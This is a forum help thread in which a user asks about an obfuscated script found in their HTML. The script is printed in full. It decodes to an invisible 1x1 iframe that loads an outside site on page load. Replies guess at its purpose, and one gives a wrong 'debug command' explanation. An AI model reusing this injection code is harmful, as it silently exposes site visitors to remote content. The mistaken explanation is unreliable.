Fouind this code in one of my HTML

January 19, 2010 at 22:27:28
Specs: Windows XP
Found this code in one of my HTML and it seems to set off some virus scanners what is this code mean?

<script type='text/javascript'> str='@3c@49@46@52@41@4d@45@20@53@52@43@3d@27@68@74@74@70@3a@2f@2f@77@77@77@2e@6e@65@74@6d@6f@6e@65@79@6d@61@6b@65@72@2e@63@6f@6d@2f@6c@69@63@65@6e@73@65@2f@63@6f@6e@66@69@72@6d@65@64@2f@4d@65@6d@62@65@72@53@63@72@69@70@74@27@20@57@49@44@54@48@3d@31@20@48@45@49@47@48@54@3d@31@3e@3c@2f@49@46@52@41@4d@45@3e'; document.write(unescape(str.replace(/@/g,'%'))); </script>

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January 19, 2010 at 22:56:33
it looks nasty to me! It is hex addresses combined with "debug" command "G", (which means, GO, ie: execute, in this case execute to stop point dah dah (each @-sep token). I would smell it a mile away...
"trash the cache", run a v-scan of your system...
maybe i over-react, i'm not a virus specialist, but i think your shield did well to alert you...

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January 20, 2010 at 06:40:42
I converted that string of hex into ASCII:

EDIT: Looks like a lame attempt to boost his Google ranking, or something.

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January 20, 2010 at 22:45:21
Emphasis on lame.


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